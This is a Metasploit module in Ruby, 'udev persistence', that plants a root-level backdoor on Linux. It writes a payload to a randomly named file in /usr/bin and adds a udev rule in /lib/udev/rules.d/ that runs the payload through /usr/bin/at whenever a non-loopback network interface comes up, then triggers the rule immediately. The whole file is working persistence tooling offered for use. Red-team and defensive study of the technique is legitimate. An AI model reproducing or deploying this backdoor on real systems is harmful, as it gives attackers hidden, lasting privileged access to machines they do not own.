Udev Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
},
'License' => MSF_LICENSE,
'Author' => [
'Julien Voisin'
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 90_000 },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Passive' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
]
)
)
register_options([

OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
])
end

def get_command
unless executable? '/usr/bin/at'
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
end
%(/usr/bin/at -M -f #{@payload_path} now)
end

def exploit
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']

@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']

unless writable? File.dirname(@backdoor_path)
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
end

if exists? @backdoor_path
fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
end

unless writable? File.dirname(@payload_path)
fail_with Failure::BadConfig, "#{@payload_path} is not writable"
end

if exists? @payload_path
fail_with Failure::BadConfig, "#{@payload_path} is already present"
end

upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
print_status "#{@payload_path} written"

fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))

print_status "#{@backdoor_path} written"

# need to trigger first rule manually
print_status 'Triggering udev rule'
cmd_exec('udevadm trigger -v --subsystem-match=net')

stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)

Rex::ThreadSafe.sleep(1)
end
end
end